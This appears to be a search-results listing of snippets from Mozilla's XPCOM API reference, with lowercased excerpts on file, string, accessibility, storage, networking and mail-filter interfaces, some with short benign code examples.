example code // create a local file that references c:\foo.txt nsresult rv; nscomptr<nsilocalfile> file; rv = ns_newlocalfile(nsembedstring(l"c:\\foo.txt"), pr_false, getter_addrefs(file)); if (ns_failed(rv)) return rv; note: gcc requires the -fshort-wchar option to compile this example since prunichar is an unsigned short.
...nsembedstring is used to convert the ucs-2 character array to an object that can be passed as a const nsastring& parameter.
NS_NewNativeLocalFile
this string should be encoded using ascii or the multibyte character coding corresponding to the native filesystem.
...if you use this function on windows 2000 or later, you would not be able to handle file names containing characters outside the default code page even though the os has no problem dealing with them.
NS_Realloc
this pointer must have been previously allocated by the xpcom memory manager, or this parameter may be null in which case this function behaves like ns_alloc.
... return values this function returns a pointer to the allocated block of memory, which is suitably aligned for any kind of variable, or null if the allocation failed.
Folders
they all inherit from nsmsgdbfolder, which implements a lot of the core functionality.
...each line in the folder pane corresponds to a folder object.
Append
void append( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to append to this string.
... void append( char_type achar ); parameters achar [in] a character to append to this string.
Assign
void assign( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to copy into this string.
... void assign( char_type achar ); parameters achar [in] the character to copy into this string.
BeginReading
const char_type* beginreading() const; remarks the resulting character array is not necessarily null-terminated.
... example code // count the number of times a particular character appears in the string pruint32 countchar(const nsacstring& str, char c) { const char* start = str.beginreading(); const char* end = str.endreading(); pruint32 count = 0; while (start != end) { if (*start++ == c) ++count; } return count; } see also length, endreading ...
EndReading
« xpcom api reference summary the endreading function returns a const char_type pointer to the element just beyond the last element of the string's internal buffer.
... const char_type* endreading() const; remarks it is generally illegal to dereference the returned pointer, unless it is known that the string's internal buffer is null-terminated.
Append
void append( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to append to this string.
... void append( char_type achar ); parameters achar [in] a character to append to this string.
Assign
void assign( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to copy into this string.
... void assign( char_type achar ); parameters achar [in] the character to copy into this string.
BeginReading
const char_type* beginreading() const; remarks the resulting character array is not necessarily null-terminated.
... example code // count the number of times a particular character appears in the string pruint32 countchar(const nsastring& str, prunichar c) { const prunichar* start = str.beginreading(); const prunichar* end = str.endreading(); pruint32 count = 0; while (start != end) { if (*start++ == c) ++count; } return count; } see also length ...
EndReading
« xpcom api reference summary the endreading function returns a const char_type pointer to the element just beyond the last element of the string's internal buffer.
... const char_type* endreading() const; remarks it is generally illegal to dereference the returned pointer, unless it is known that the string's internal buffer is null-terminated.
IAccessibleApplication
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) this interface provides the at with the information it needs to differentiate this application from other applications, from other versions of this application, or from other versions of this application running on different versions of an accessibility bridge or accessibility toolkit.
... servers implementing iaccessible2 should provide access to the iaccessibleapplication interface via queryservice from any object so that ats can easily determine specific information about the application such as its name or version.
IAccessibleComponent
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) this interface provides the standard mechanism for an assistive technology to retrieve information concerning the graphical representation of an object.
...the coordinates of the returned position are relative to this object's parent or relative to the screen on which this object is rendered if it has no parent.
IJSDebugger
1.0 66 introduced gecko 9.0 inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/jsdebugger;1 as a service: var jsdebugger = components.classes["@mozilla.org/jsdebugger;1"] .createinstance(components.interfaces.ijsdebugger); note: you should almost never directly use this service; instead, you should use the javascript code module that does this for you.
... the only time you should directly use this interface to create the debugger object is if you need to debug chrome; due to bug 707237, the javascript code module doesn't work in that case.
mozIColorAnalyzer
toolkit/components/places/mozicoloranalyzer.idlscriptable provides methods to analyze colors in an image 1.0 66 introduced gecko 17.0 inherits from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) method overview void findrepresentativecolor(in nsiuri imageuri, in mozirepresentativecolorcallback callback); methods findrepresentativecolor() given an image uri, find the most representative color for that image based on the frequency of each color.
...void findrepresentativecolor( in nsiuri imageuri, in mozirepresentativecolorcallback callback ); parameters imageuri a uri pointing to the image - ideally a data: uri, but any scheme that will load when setting the src attribute of a dom img element should work.
mozIStorageAggregateFunction
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void onstep(in mozistoragevaluearray afunctionarguments); nsivariant onfinal(); methods onstep() this is called for each row of results returned by the query.
...var standarddeviationfunc = { _numbers: [], onstep: function(aarguments) { this._numbers.push(aarguments.getint32(0)); }, onfinal: function() { let total = 0; let ilength = this._numbers.length; this._numbers.foreach(function(elt) { total += elt }); let mean = total / this._numbers.length; let data = this._numbers.map(function(elt) { let value = elt - mean; return value * value; }); total = 0; data.foreach(function(elt) { total += elt }); this._numbers = []; return math.sqrt(total / ilength); } }; // now, register our function with the database connection.
mozIStorageBindingParamsArray
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports you can only create these objects by calling the mozistoragestatement.newbindingparamsarray().
... newbindingparams() creates and returns a new, empty, mozistoragebindingparams object to which you can add parameters and their values for binding.
mozIStorageCompletionCallback
this interface should be implemented to handle callbacks from asynchronous storage api routines.
... last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsisupports method overview void complete(); methods complete() called when an asynchronous storage routine has completed.
mozIStorageFunction
last changed in gecko 1.9.1.4 (firefox 3.5.4) inherits from: nsisupports method overview nsivariant onfunctioncall(in mozistoragevaluearray afunctionarguments); methods onfunctioncall() the implementation of the function.
... mozistoragevaluearray wraps an array of sql values, such as a result row.
mozIStorageVacuumParticipant
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to create an instance of this interface, use the category manger, with the category "vacuum-participant".
...note: if the database is using the wal journal node and the current page size is not the expected one, the journal node will be changed to truncate because wal doesn't allow page size changes.
mozIStorageValueArray
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview long gettypeofindex(in unsigned long aindex); long getint32(in unsigned long aindex); long long getint64(in unsigned long aindex); double getdouble(in unsigned long aindex); autf8string getutf8string(in unsigned long aindex); astring getstring(in unsigned long aindex); void getblob(in unsigned long aindex, out unsigned long ada...
... getisnull() checks if given column index is null.
nsIAbCard
we allow the caller to cache the pref value, so we don't have to go to prefs every time.
...if cached by the caller and supplied to this function, then performance will be improved over many calls.
nsIAbstractWorker
dom/interfaces/threads/nsidomworkers.idlscriptable this interface is an abstract interface used to implement the web workers architecture.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsidomeventtarget last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) attributes attribute type description onerror nsidomeventlistener the error listener for the worker.
nsIAccelerometerUpdate
xpcom/system/nsiaccelerometer.idlnot scriptable replaced by nsidevicemotionupdate 1.0 66 introduced gecko 2.0 obsolete gecko 6.0 inherits from: nsiaccelerometer last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) this method is only used in content tabs to receive nsiacceleration data from the chrome process.
... method overview void accelerationchanged(in double x, in double y, in double z); methods accelerationchanged() void accelerationchanged( in double x, in double y, in double z ); parameters x y z the coordinates of the nsiacceleration data.
GetAccessibleRelated
return value returns an accessible which is related to the one provided by the given relation type.
... exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.ns_error_not_implemented indicates that the given relation type is unsupported see also nsiaccessible.getrelations() nsiaccessible.relationscount nsiaccessible.getrelation() ...
GetState
exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
... remarks accessible states are stored as bit fields which describe boolean properties of node.
NextSibling
attribute nsiaccessible nextsibling; exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
... see also nsiaccessible.parent nsiaccessible.previoussibling nsiaccessible.firstchild nsiaccessible.lastchild nsiaccessible.children nsiaccessible.childcount nsiaccessible.getchildat() ...
Parent
attribute nsiaccessible parent; exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
...see also nsiaccessible.nextsibling nsiaccessible.previoussibling nsiaccessible.firstchild nsiaccessible.lastchild nsiaccessible.children nsiaccessible.childcount nsiaccessible.getchildat() ...
PreviousSibling
attribute nsiaccessible previoussibling; exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
... see also nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.firstchild nsiaccessible.lastchild nsiaccessible.children nsiaccessible.childcount nsiaccessible.getchildat() ...
TakeFocus
it is the callers responsibility to determine whether this node is focusable.acctakefocus on a node that is not normally focusable (such as a table), will still set focus on that node, although normally that will not be visually indicated in most style sheets.
... see also nsiaccessible.focusedchild ...
nsIAccessibleCoordinateType
accessible/public/nsiaccessibletypes.idlscriptable these constants define which coordinate system a point is located in.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) prior to gecko 1.9, these constants were implemented in nsiaccessibletext.
nsIAppStartup_MOZILLA_2_0
toolkit/components/startup/public/nsiappstartup.idlscriptable this lets you get information about the times at which key application startup events occurred.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in gecko 4.0 this interface was merged into the nsiappstartup interface.
nsIAuthPromptCallback
netwerk/base/public/nsiauthpromptcallback.idlscriptable interface for callback methods for the asynchronous nsiauthprompt2 method.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) callers must call exactly one method if nsiauthprompt2.asyncpromptauth() returns successfully.
nsIAutoCompleteItem
inherits from: nsisupports last changed in gecko 1.7 attributes attribute type description classname string class name used to define some style through css like the colors, an icon url, and so on.
... param nsisupports parameter use by the search engine.
nsIAutoCompleteResult
toolkit/components/autocomplete/nsiautocompleteresult.idlscriptable this interface is implemented by results of autocomplete search.
... inherits from: nsisupports last changed in gecko 1.7 see nsiautocompletesearch ...
nsIConsoleListener
inherits from: nsisupports last changed in gecko 1.7 method overview void observe(in nsiconsolemessage amessage); methods observe() called by the nsiconsoleservice when a message is posted to the console.
... listeners must first be attached to the service using nsiconsoleservice.registerlistener() void observe( in nsiconsolemessage amessage ); parameters amessage the nsiconsolemessage being posted.
nsIContainerBoxObject
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) the boxobject belonging to a xul browser, editor or iframe element implements this interface.
...the browser.xml, editor.xml and general.xml bindings use this property to gain access to other properties such as webnavigation, contentdocument and contentwindow.
nsIContentFrameMessageManager
it enables these scripts to receive messages from the chrome process and send messages back to the chrome process.
... frame scripts can send either synchronous or asynchronous messages to the chrome process: for details on these messaging apis see the documentation for the nsicontentframemessagemanager's parent classes nsisyncmessagesender and nsimessagesender.
nsIController
inherits from: nsisupports last changed in gecko 1.7 method overview void docommand(in string command); boolean iscommandenabled(in string command); void onevent(in string eventname); boolean supportscommand(in string command); methods docommand() when this method is called, your implementation should execute the command with the specified name.
...boolean iscommandenabled( in string command ); parameters command the name of the command whose availability is to be checked.
nsICookie2
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsicookie attributes attribute type description creationtime print64 the creation time of the cookie, in microseconds since midnight (00:00:00), january 1, 1970 utc.
...note: that expiry time will also be honored for session cookies; thus, whichever is the more restrictive of the two will take effect.
nsICookieAcceptDialog
inherits from: nsisupports last changed in gecko 1.7 constants constant value description accept_cookie 0 value for accepting a cookie object.
... changingcookie 4 value for changing cookie.
nsIDNSRecord
inherits from: nsisupports last changed in gecko 1.7 method overview prnetaddr getnextaddr(in pruint16 aport); native code only!
...hasmore() this method checks if there is another address in the record.
nsIDOMClientRect
the type of box is specified by the method that returns such an object.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) attributes attribute type description bottom float y-coordinate, relative to the viewport origin, of the bottom of the rectangle box.
nsIDOMFile
this will likely change in the future, so avoid using any non-standard methods offered by this interface in order to ensure future compatibility.
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports this interface implements the dom file object; for complete documentation, read up on that.
nsIDOMFontFace
1.0 66 introduced gecko 7.0 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) this object describes a single font.
...attributes font source attributes these attributes indicate how the font was found during the font matching process.
nsIDOMFontFaceList
layout/inspector/public/nsidomfontfacelist.idlscriptable a list of nsidomfontface objects, each representing a single font face.
... 1.0 66 introduced gecko 7.0 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) method overview nsidomfontface item(in unsigned long index); attributes attribute type description length unsigned long the number of items in the list.
nsIDOMGeoPosition
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) attributes attribute type description address nsidomgeopositionaddress the address of the user's current location, if available.
... timestamp domtimestamp the time at which the reading was taken.
nsIDOMGeoPositionAddress
1.0 66 introduced gecko 1.9.2 obsolete gecko 14.0 inherits from: nsisupports last changed in gecko 11 (firefox 11 / thunderbird 11 / seamonkey 2.8) this object is obtained from an nsidomgeopositionaddress object via its address attribute.
... historical note, which is likely of no interest to most readers: the types of the attributes below all changed from string to domstring in gecko 1.9.2 beta 5.
nsIDOMGeoPositionCallback
you need to implement this interface to accept callbacks after using nsidomgeolocation.watchposition().
... last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void handleevent(in nsidomgeoposition position); methods handleevent() called when new position information is available.
nsIDOMHTMLMediaElement
dom/interfaces/html/nsidomhtmlmediaelement.idlscriptable the basis for the nsidomhtmlaudioelement and nsidomhtmlvideoelement interfaces, which in turn implement the <audio> and <video> html5 elements.
... 1.0 67 introduced gecko 1.9.1 inherits from: nsidomhtmlelement last changed in gecko 1.1 the nsidomhtmlmediaelement interface implements the dom htmlmediaelement interface.
nsIDOMStorageItem
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) gecko 1.9.1 note starting in gecko 1.9.1 (firefox 3.5), this is only used for session storage; previously, it was also used for global storage.
...as such, this attribute is irrelevant for storage that is bound to an origin.
nsIDOMUserDataHandler
1.0 66 introduced gecko 1.5 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void handle(in unsigned short operation, in domstring key, in nsivariant data, in nsidomnode src, in nsidomnode dst); constants constant value description node_cloned 1 the node was cloned.
... methods handle() this method is a callback which will be called if a node with user data is being cloned, imported or adopted.
nsIDeviceMotionData
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) note: this interface was named nsidevicemotiondata prior to gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3).
... type_orientation 1 the motion data describes a device orientation chang.
nsIDirIndexListener
they can then be transformed into an output format (such as rdf, html and so on) inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void onindexavailable(in nsirequest arequest, in nsisupports actxt, in nsidirindex aindex); void oninformationavailable(in nsirequest arequest, in nsisupports actxt, in astring ainfo); methods onindexavailable() called for each directory entry.
... oninformationavailable() called for each information line.
nsIDirectoryEnumerator
it is similar to nsisimpleenumerator except the retrieved entries are qi'ed to nsifile, and there is a mechanism for closing the directory when the enumeration is complete.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void close(); attributes attribute type description nextfile nsifile the next file in the sequence.
nsIDirectoryServiceProvider2
xpcom/io/nsidirectoryservice.idlscriptable an extension of nsidirectoryserviceprovider which allows multiple files to be returned for the given key.
... inherits from: nsidirectoryserviceprovider last changed in gecko 0.9.6 method overview nsisimpleenumerator getfiles(in string prop); methods getfiles() the directory service calls this when it gets a request for a prop and the requested type is nsisimpleenumerator.
nsIDownloadHistory
there is a separate interface specifically for downloads in case embedders choose to track downloads differently from other types of history.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void adddownload(in nsiuri asource, [optional] in nsiuri areferrer, [optional] in prtime astarttime); methods adddownload() adds a download to history.
nsIDownloadManagerUI
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void getattention(); void show([optional] in nsiinterfacerequestor awindowcontext, [optional] in unsigned long aid, [optional] in short areason); attributes attribute type description visible boolean true if the download manager ui is visible; otherwise false.
... see also the download manager schema ...
nsIDownloader
this may utilize the disk cache as an optimization to avoid an extra copy of the data on disk.
... inherits from: nsistreamlistener last changed in gecko 1.7 method overview void init(in nsidownloadobserver observer, in nsifile downloadlocation); methods init() initialize this downloader.
nsIEditorDocShell
docshell/base/nsieditordocshell.idlscriptable provides a way to get an editor from a specific frame in a docshell hierarchy.
... inherits from: nsisupports last changed in gecko 1.7 use nsieditingsession.makewindoweditable() and nsieditingsession.geteditorforwindow() from out side.
nsIEditorLogging
inherits from: nsisupports last changed in gecko 1.7 method overview void startlogging(in nsifile alogfile); void stoplogging(); methods startlogging() start logging.
... void startlogging( in nsifile alogfile ); parameters alogfile the file to which the log should be written.
nsIEnumerator
} iter.next(); } while( components.lastresult == 0 ); } catch(e) {} search for e-mail from "warren harris" dated 04/21/1999 time 16:11:03 for some notes on the subject.
... you may need to use the google cache, since this version doesn't seem to be working so well.
nsIException
inherits from: nsisupports last changed in gecko 1.7 method overview string tostring(); attributes attribute type description columnnumber pruint32 valid column numbers begin at 0.
...this is the location that caused the error, which may or may not be a source file location.
nsIExternalURLHandlerService
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsihandlerinfo geturlhandlerinfofromos(in nsiuri aurl, out boolean afound); methods geturlhandlerinfofromos() given a url, looks up the handler info from the operating system.
... this should be overridden by each operating systems implementation.
nsIFeedElementBase
toolkit/components/feeds/public/nsifeedelementbase.idlscriptable this interface is a base interface from which several of the other feed access interfaces derive.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description attributes nsisaxattributes all the attributes found on the element.
nsIFeedResult
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void registerextensionprefix(in astring anamespace, in astring aprefix); attributes attribute type description bozo boolean the feed processor sets the bozo bit when a feed triggers a fatal error during xml parsing.
... uri nsiuri the address from which the feed was fetched.
nsIFileInputStream
inherits from: nsiinputstream last changed in gecko 1.7 method overview void init(in nsifile file, in long ioflags, in long perm, in long behaviorflags); constants constant value description delete_on_close 1<<1 if this is set, the file will be deleted by the time the stream is closed.
... close_on_eof 1<<2 if this is set, the file will close automatically when the end of the file is reached.
nsIFileStreams
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void init(in nsifile file, in long ioflags, in long perm, in long behaviorflags); constants constants value description delete_on_close 1<<1 if this is set, the file will be deleted by the time the stream is closed.
... close_on_eof 1<<2 if this is set, the file will close automatically when the end of the file is reached.
nsIFileURL
the url scheme need not be file:, since other local protocols may map urls to files (e.g., resource:).
... inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) attributes attribute type description file nsifile get/set nsifile corresponding to this url.
nsIGlobalHistory
66 introduced gecko 1.0 deprecated gecko 2.0 obsolete gecko 15.0 inherits from: nsisupports last changed in gecko 1.7 method overview void addpage(in string aurl); boolean isvisited(in string aurl); methods addpage() add a page to the history.
... isvisited() checks to see if the given page is in history.
nsIHTTPHeaderListener
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) note: the plugin author must provide an instance to {geturl,posturl}() that implements both nsipluginstreamlistener and nsihttpheaderlistener.
... method overview void newresponseheader(in string headername, in string headervalue); void statusline(in string line); methods newresponseheader() called for each http response header.
nsIHttpActivityDistributor
1.0 66 introduced gecko 1.9.2 inherits from: nsihttpactivityobserver last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) implemented by: mozilla.org/network/http-activity-distributor;1 as a service: var httpactivitydistributor = components.classes["@mozilla.org/network/http-activity-distributor;1"] .getservice(components.interfaces.nsihttpactivitydistributor); method overview void addobserver(in nsihttpactivityobserver aobserver); void removeobserver(in nsihttpactivit...
...void addobserver( in nsihttpactivityobserver aobserver ); parameters aobserver the nsihttpactivityobserver that should receive notifications of http transport activity; this object's nsihttpactivityobserver.observeactivity() method will be called each time activity occurs.
nsIJSID
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) the following methods return objects that implement this interface: components.interfaces.name components.classes[contract] components.interfacesbyid[uuid] components.classesbyid[cid] the first two cases create a named jsid while the last two cases create an unnamed jsid.
... an unnamed jsid also results when you implement a function that is passed an nsiidref parameter, such as queryinterface().
nsIMIMEInputStream
inherits from: nsiinputstream last changed in gecko 1.3 implemented by: @mozilla.org/network/mime-input-stream;1.
...not allowed to be changed once the stream has been started to be read.
nsIMenuBoxObject
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) to get access to the box object for a given menu, use code like this: var boxobject = xulmenu.boxobject.queryinterface(components.interfaces.nsimenuboxobject); method overview boolean handlekeypress(in nsidomkeyevent keyevent); void openmenu(in boolean openflag); attributes attribute type description activechild nsidomelement the currently active menu or menuitem child of the menu box.
... note: for gecko 2.0, the openedwithkey attribute exists on the nsimenuboxobject_mozilla_2_0_branch interface.
nsIMicrosummary
1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void addobserver(in nsimicrosummaryobserver observer); boolean equals(in nsimicrosummary aother); void removeobserver(in nsimicrosummaryobserver observer); void update(); attributes attribute type description content astring the content of the microsumma...
... updateinterval long the minimum interval after which this microsummary would like to be refreshed or null if it doesn't care.
nsIMicrosummarySet
1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void addobserver(in nsimicrosummaryobserver observer); nsisimpleenumerator enumerate(); void removeobserver(in nsimicrosummaryobserver observer); methods addobserver() add a microsummary observer to this microsummary set.
... adding an observer to a set is the equivalent of adding it to each constituent microsummary.
nsIMsgCustomColumnHandler
last changed in gecko 1.9 (firefox 3) inherits from: nsitreeview this interface is meant to be implemented by extensions, as shown in the tutorial.
...ion(arow, acol) { }, getcelltext: function(arow, acol) { }, getsortstringforrow: function(ahdr) { return ""; }, isstring: function() {return true;}, getcellproperties: function(arow, acol, aprops) { }, getrowproperties: function(arow, aprops) { }, getimagesrc: function(arow, acol) {return null;}, getsortlongforrow: function(ahdr) {return 0;} } to attach it use the nsimsgdbview.addcolumnhandler() method (recall gdbview is the global nsimsgdbview in thunderbird): gdbview.addcolumnhandler("newcolumn", columnhandler); after which it can be retrieved using the nsimsgdbview.getcolumnhandler() method: var handler = gdbview.getcolumnhandler("newcolumn"); and removed using the nsimsgdbview.removecolumnhandler() method: gdbview.removecolumnhandler("n...
nsIMsgFilterCustomAction
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfiltercustomaction.idl interface nsimsgfiltercustomaction : nsisupports { /* globally unique string to identify this filter action.
... * * @param type the filter type * @param scope the search scope * * @return true if valid */ boolean isvalidfortype(in nsmsgfiltertypetype type, in nsmsgsearchscopevalue scope); /** * after the user inputs a particular action value for the action, determine * if that value is valid.
nsIMsgFilterList
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilterlist.idl attributes folder attribute nsimsgfolder nsimsgfilterlist::folder version readonly attribute short nsimsgfilterlist::version arbitraryheaders readonly attribute acstring nsimsgfilterlist::arbitraryheaders shoulddownloadallheaders readonly attribute boolean nsimsgfilterlist::shoulddownloadallheaders filtercount readonly attribute unsigned long nsimsgfilterlist::filtercount loggingenabled attribute boolean nsimsgfilterlist::loggingenabled defaultfile attribute nsilocalfile nsimsgfilterlist::defaultfile logstream attribute nsioutputstream nsimsgfilterlist::logstream logurl readonly attribute acstring nsimsgfilterlist::logurl methods getfilterat() nsimsgfilter nsimsgfilterlist::getfilterat (in unsign...
... stream ) writestrattr() void nsimsgfilterlist::writestrattr ( in nsmsgfilterfileattribvalue attrib, in string value, in nsioutputstream stream ) writewstrattr() void nsimsgfilterlist::writewstrattr ( in nsmsgfilterfileattribvalue attrib, in string value, in nsioutputstream stream ) matchorchangefiltertarget() boolean nsimsgfilterlist::matchorchangefiltertarget ( in acstring olduri, in acstring newuri, in boolean caseinsensitive ) clearlog() void nsimsgfilterlist::clearlog () ensurelogfile() void nsimsgfilterlist::ensurelogfile () flushlogifnecessary () void nsimsgfilterlist::flushlogifnecessary () const const nsmsgfilterfileattribva...
nsIMsgRuleAction
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilter.idl [scriptable, uuid(190a2a18-d245-473a-a402-9f0814598c7f)] interface nsimsgruleaction : nsisupports { attribute nsmsgruleactiontype type; // target priority..
...throws an exception if the action is not label attribute nsmsglabelvalue label; // junkscore throws an exception if the action type is not junkscore attribute long junkscore; attribute autf8string strvalue; // action id if type is custom attribute acstring customid; // custom action associated with customid // (which must be set prior to reading this attribute) readonly attribute nsimsgfiltercustomaction customaction; }; ...
nsINavHistoryFullVisitResultNode
this includes more detailed information than the result_type_visit query (which returns nsinavhistoryvisitresultnode, and as such takes more time to look up.
... 1.0 66 introduced gecko 1.9 inherits from: nsinavhistoryvisitresultnode last changed in gecko 1.9 (firefox 3) the information returned in this interface is not commonly used, hence its separation into a separate query type for efficiency.
nsIProperties
inherits from: nsisupports last changed in gecko 1.2 implemented by: @mozilla.org/file/directory_service;1.
...nsmemory.h defines the macro ns_free_xpcom_allocated_pointer_array, which can be used to free akeys when it is no longer needed.
nsIProtocolProxyCallback
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void onproxyavailable(in nsicancelable arequest, in nsiuri auri, in nsiproxyinfo aproxyinfo, in nsresult astatus); methods onproxyavailable() this method is called when proxy info is available or when an error in the proxy resolution occurs.
...this is a failure code if the request could not be satisfied, in which case the value of astatus indicates the reason for the failure and aproxyinfo will be null.
nsIProxyInfo
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports attributes attribute type description failoverproxy nsiproxyinfo this attribute specifies the proxy to failover to when this proxy fails.
... next nsiproxyinfo proxy info objects may be chained if several proxies could be treated equivalently.
nsISSLErrorListener
security/manager/ssl/public/nsisslerrorlistener.idlscriptable a mechanism to report a broken ssl connection.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) note: the recipient of this ssl status notification should not block.
nsIScriptableUnescapeHTML
1.0 66 introduced gecko 1.8 obsolete gecko 14.0 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note: as of firefox 14, this interface is obsolete (but still available for compatibility with legacy extensions) and all its functionality is available with more configuration options via the nsiparserutils interface.
... baseuri pointer to the base uri against which to resolve any uris included in the fragment.
nsIServerSocketListener
the address of the client can be found by calling the nsisockettransport.getaddress() method or by inspecting nsisockettransport.gethost(), which returns a string representation of the client's ip address, which may be either an ipv4 or an ipv6 address.
... inherits from: nsisupports last changed in gecko 1.7 method overview void onsocketaccepted(in nsiserversocket aserv, in nsisockettransport atransport); void onstoplistening(in nsiserversocket aserv, in nsresult astatus); methods onsocketaccepted() this method is called when a client connection is accepted.
nsISimpleEnumerator
inherits from: nsisupports last changed in gecko 0.9.6 method overview nsisupports getnext(); boolean hasmoreelements(); methods getnext() called to retrieve the next element in the enumerator.
...must be preceded by a call to hasmoreelements() which returns pr_true.
nsISocketProvider
inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) implemented by: @mozilla.org/network/socket;2?type=foo.
...parameters are the same as newsocket() with the exception of afiledesc, which is an input parameter instead.
nsISocketProviderService
66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 1.7 method overview nsisocketprovider getsocketprovider(in string sockettype); methods getsocketprovider() given a string representing a socket type, this method returns an nsisocketprovider representing that socket type.
... nsisocketprovider getsocketprovider( in string sockettype ); parameters sockettype the socket type for which to get a socket provider.
nsIStackFrame
inherits from: nsisupports last changed in gecko 1.7 method overview string tostring(); attributes attribute type description caller nsistackframe read only.
...this is the location that caused the error, which may or may not be a source file location.
nsIStringEnumerator
inherits from: nsisupports last changed in gecko 1.7 method overview astring getnext(); boolean hasmore(); methods getnext() called to retrieve the next string in the enumerator.
...must be preceded by a call to hasmoreelements() which returns pr_true.
nsISupportsCString
xpcom/ds/nsisupportsprimitives.idlscriptable this interface provides scriptable access for ascii character strings.
... inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data acstring provides access to the native type represented by the object.
nsISupportsString
